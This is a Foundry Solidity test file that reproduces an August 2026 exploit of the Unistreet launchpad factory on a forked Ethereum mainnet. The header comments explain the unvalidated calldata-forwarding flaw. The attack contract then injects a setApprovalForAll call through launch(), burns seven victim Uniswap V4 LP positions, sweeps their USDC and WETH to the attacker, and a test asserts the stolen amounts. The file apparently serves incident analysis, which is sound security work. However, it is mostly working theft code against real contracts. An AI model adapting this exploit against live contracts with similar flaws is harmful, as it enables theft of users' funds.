src/test/2026-08/UnistreetLaunchpad_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.24;
3 
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6 
7// Unistreet (unistreetsx) LaunchpadFactoryAuto — arbitrary-call injection through unvalidated
8// launch() calldata forwarding drains the factory-custodied Uniswap V4 LP positions.
9// Ethereum mainnet, 2026-08. ~$17.75K to the attacker EOA in one tx.
10//
11// Exploit tx : 0x9583e95d5c88c7966e269197f4b09022f26b7a27ad2c13660dda6774e3136d14 (block 25692311)
12// Attacker   : 0xc94e23C58b9b2998eDB7ABC8F99393FEaD985076
13// Victim     : 0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825 (LaunchpadFactoryAuto, LP custodian)
14// V4 posm    : 0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e (PositionManager, holds the launch NFTs)
15// V4 PoolMgr : 0x000000000004444c5DC75cB358380D2e3dE08A90
16//
17// Root cause (verified against the on-chain trace AND the verified LaunchpadFactoryAuto source, NOT
18// a key/admin/signer compromise): launch() is `external payable`, fully permissionless, and forwards
19// the caller's `initCalldata` and `modifyCalldata` VERBATIM into the V4 PositionManager as the
20// factory itself, with no validation on the content:
21//
22//     bytes[] memory calls = new bytes[](2);
23//     calls[0] = initCalldata;
24//     calls[1] = modifyCalldata;
25//     IPositionManager(POSITION_MANAGER).multicall(calls);   // msg.sender == the factory
26//
27// posm.multicall self-delegatecalls each entry with msg.sender preserved as the factory, and the
28// factory is the ERC721 owner of every launch's LP-position NFT. So the attacker passes
29// `modifyCalldata = setApprovalForAll(attacker, true)`, which posm runs as the factory and grants
30// the attacker operator rights over EVERY position the factory custodies — including other users'
31// launches. The attacker then calls posm.modifyLiquidities directly on each of those positions with
32// a BURN_POSITION + TAKE_PAIR action pair, sweeping the underlying tokens to itself.
33//
34// Reconstructed 1:1 from the trace as ordinary typed calls (no bytecode blob, no raw calldata
35// replay of the tx, no redeploy of the original attack contract). The injected payload is built
36// here with abi.encodeWithSelector against the real posm signatures so it is visible, not opaque:
37//   1. launch() a throwaway token "CPOC" with initCalldata = initializePool(CPOC/WETH) and
38//      modifyCalldata = setApprovalForAll(this, true)  <- the injection.
39//   2. for each of the 7 factory-custodied victim positions, posm.modifyLiquidities([BURN_POSITION,
40//      TAKE_PAIR]) to burn it and take both currencies to this contract.
41//   3. forward the swept USDC + WETH to the attacker EOA.
42// The seven positions also yield illiquid launch memecoins (e.g. tokenId 360162 "UNISTREET"); those
43// are hard to price and are left in the exploit contract, not folded into the USD assertion.
44//
45// Requires evm_version = cancun: Uniswap V4's PoolManager uses EIP-1153 transient storage.
46//
47// forge test --contracts src/test/2026-08/UnistreetLaunchpad_exp.sol -vvv
48 
49interface ILaunchpadFactoryAuto {
50    struct Params {
51        string name;
52        string symbol;
53        uint256 supply;
54        address pairedStock;
55        uint256 seedAmount;
56        bytes32 salt;
57        string description;
58        string image;
59        string website;
60        string twitter;
61        bool holdersShare;
62    }
63 
64    struct SeedBuys {
65        address payAsset;
66        uint256 totalPayIn;
67        bytes preCommands;
68        bytes[] preInputs;
69        uint128[] amounts;
70        address[] recipients;
71    }
72 
73    function launch(
74        Params calldata p,
75        bytes calldata initCalldata,
76        bytes calldata modifyCalldata,
77        SeedBuys calldata sb
78    ) external payable returns (address token);
79    function predict(
80        bytes32 salt
81    ) external view returns (address);
82}
83 
84interface IPositionManager {
85    function setApprovalForAll(
86        address operator,
87        bool approved
88    ) external;
89    function modifyLiquidities(
90        bytes calldata unlockData,
91        uint256 deadline
92    ) external payable;
93}
94 
95// PoolKey shape the V4 PositionManager.initializePool expects.
96struct PoolKey {
97    address currency0;
98    address currency1;
99    uint24 fee;
100    int24 tickSpacing;
101    address hooks;
102}
103 
104contract UnistreetLaunchpadAttack {
105    ILaunchpadFactoryAuto internal constant FACTORY = ILaunchpadFactoryAuto(0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825);
106    IPositionManager internal constant POSM = IPositionManager(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e);
107    address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
108    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
109 
110    // initializePool((PoolKey),uint160) selector, and sqrtPriceX96 = 2^96 (a 1:1 start price).
111    bytes4 internal constant INITIALIZE_POOL = 0xf7020405;
112    uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;
113    // Uniswap V4 action bytes.
114    uint8 internal constant BURN_POSITION = 0x03;
115    uint8 internal constant TAKE_PAIR = 0x11;
116    // Same salt the incident used; keeps the throwaway CPOC clone below the WETH address so the
117    // pool key currency ordering matches, and the clone address is deterministic on (factory, salt).
118    bytes32 internal constant SALT = 0xbd28cbac70a00af863747d3d417bf978587d808789d912874b92f6f45c473354;
119 
120    address internal immutable owner;
121 
122    constructor() {
123        owner = msg.sender;
124    }
125 
126    function attack(
127        uint256[] calldata tokenIds,
128        address[] calldata cur0,
129        address[] calldata cur1
130    ) external {
131        // 1. Launch a throwaway token, but inject setApprovalForAll(this,true) as modifyCalldata.
132        //    The factory forwards it to posm as itself, approving us over all its custodied NFTs.
133        address cpoc = FACTORY.predict(SALT);
134        PoolKey memory key =
135            PoolKey({currency0: cpoc, currency1: WETH, fee: 10_000, tickSpacing: 200, hooks: address(0)});
136 
137        bytes memory initCalldata = abi.encodeWithSelector(INITIALIZE_POOL, key, SQRT_PRICE_1_1);
138        bytes memory modifyCalldata =
139            abi.encodeWithSelector(IPositionManager.setApprovalForAll.selector, address(this), true);
140 
141        ILaunchpadFactoryAuto.Params memory p = ILaunchpadFactoryAuto.Params({
142            name: "constructor-poc",
143            symbol: "CPOC",
144            supply: 1_000_000e18,
145            pairedStock: WETH,
146            seedAmount: 1_000_000e18,
147            salt: SALT,
148            description: "",
149            image: "",
150            website: "",
151            twitter: "",
152            holdersShare: false
153        });
154        ILaunchpadFactoryAuto.SeedBuys memory sb; // totalPayIn 0 -> no seed buys
155 
156        FACTORY.launch(p, initCalldata, modifyCalldata, sb);
157 
158        // 2. As the now-approved operator, burn each factory-custodied victim position and take
159        //    both of its currencies here.
160        for (uint256 i; i < tokenIds.length; i++) {
161            bytes memory actions = abi.encodePacked(BURN_POSITION, TAKE_PAIR);
162            bytes[] memory params = new bytes[](2);
163            params[0] = abi.encode(tokenIds[i], uint128(0), uint128(0), bytes("")); // BURN_POSITION
164            params[1] = abi.encode(cur0[i], cur1[i], address(this)); // TAKE_PAIR to us
165            POSM.modifyLiquidities(abi.encode(actions, params), block.timestamp + 300);
166        }
167 
168        // 3. Forward the swept USDC + WETH to the attacker EOA (the memecoins stay here).
169        IERC20(USDC).transfer(owner, IERC20(USDC).balanceOf(address(this)));
170        IERC20(WETH).transfer(owner, IERC20(WETH).balanceOf(address(this)));
171    }
172}
173 
174contract UnistreetLaunchpadExp is BaseTestWithBalanceLog {
175    address internal constant ATTACKER = 0xc94e23C58b9b2998eDB7ABC8F99393FEaD985076;
176    IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
177    IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
178 
179    uint256 internal constant FORK_BLOCK = 25_692_310; // parent of the exploit block 25692311
180    uint256 internal constant EXPECTED_USDC = 17_743_907_229; // 17,743.907229 USDC
181    uint256 internal constant EXPECTED_WETH = 7_209_570_881_911_319; // 0.007209570881911319 WETH
182 
183    function setUp() public {
184        vm.createSelectFork("mainnet", FORK_BLOCK);
185        vm.label(ATTACKER, "AttackerEOA");
186        vm.label(0xFB60CD0B36aD4bD839b91767a6Ad9055AB6aD825, "LaunchpadFactoryAuto");
187        vm.label(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e, "V4PositionManager");
188    }
189 
190    /// forge-config: default.evm_version = "cancun"
191    function testExploit() public {
192        // The 7 factory-custodied victim positions and each one's (currency0, currency1).
193        uint256[] memory tokenIds = new uint256[](7);
194        address[] memory cur0 = new address[](7);
195        address[] memory cur1 = new address[](7);
196        (tokenIds[0], cur0[0], cur1[0]) = (360_162, 0x3Bf4118F8862857872e6c13f87743Ab05a52Bc7D, address(USDC));
197        (tokenIds[1], cur0[1], cur1[1]) = (364_347, address(USDC), 0xAa145d7f316e0EaC3DDb163331CA770F2eb5307f);
198        (tokenIds[2], cur0[2], cur1[2]) = (360_385, 0x954727c49CBD6e2432E7Ad7533232b53e2dc81FC, address(WETH));
199        (tokenIds[3], cur0[3], cur1[3]) = (363_137, 0xBac02f09e4A734086184064acf885d6C9e686c57, address(WETH));
200        (tokenIds[4], cur0[4], cur1[4]) = (363_145, address(WETH), 0xd096a97331331D1eAeBFFb4EDCC48C74D8E04d70);
201        (tokenIds[5], cur0[5], cur1[5]) = (363_678, 0x3Fd263E3baDea86b6dAC10f331A60949E75657e6, address(WETH));
202        (tokenIds[6], cur0[6], cur1[6]) = (364_293, 0x593Cc7d69be66Fa37746DB9437baD571EE3D36e9, address(WETH));
203 
204        uint256 usdcBefore = USDC.balanceOf(ATTACKER);
205        uint256 wethBefore = WETH.balanceOf(ATTACKER);
206 
207        vm.prank(ATTACKER, ATTACKER);
208        UnistreetLaunchpadAttack exploit = new UnistreetLaunchpadAttack();
209        exploit.attack(tokenIds, cur0, cur1);
210 
211        uint256 usdcGain = USDC.balanceOf(ATTACKER) - usdcBefore;
212        uint256 wethGain = WETH.balanceOf(ATTACKER) - wethBefore;
213        emit log_named_decimal_uint("attacker USDC gain", usdcGain, 6);
214        emit log_named_decimal_uint("attacker WETH gain", wethGain, 18);
215 
216        // Core assertion: USDC + WETH swept out of the custodied positions, to the wei.
217        assertApproxEqAbs(usdcGain, EXPECTED_USDC, 1e6, "USDC gain off expected ~17,743.91");
218        assertApproxEqAbs(wethGain, EXPECTED_WETH, 1e14, "WETH gain off expected ~0.00721");
219    }
220}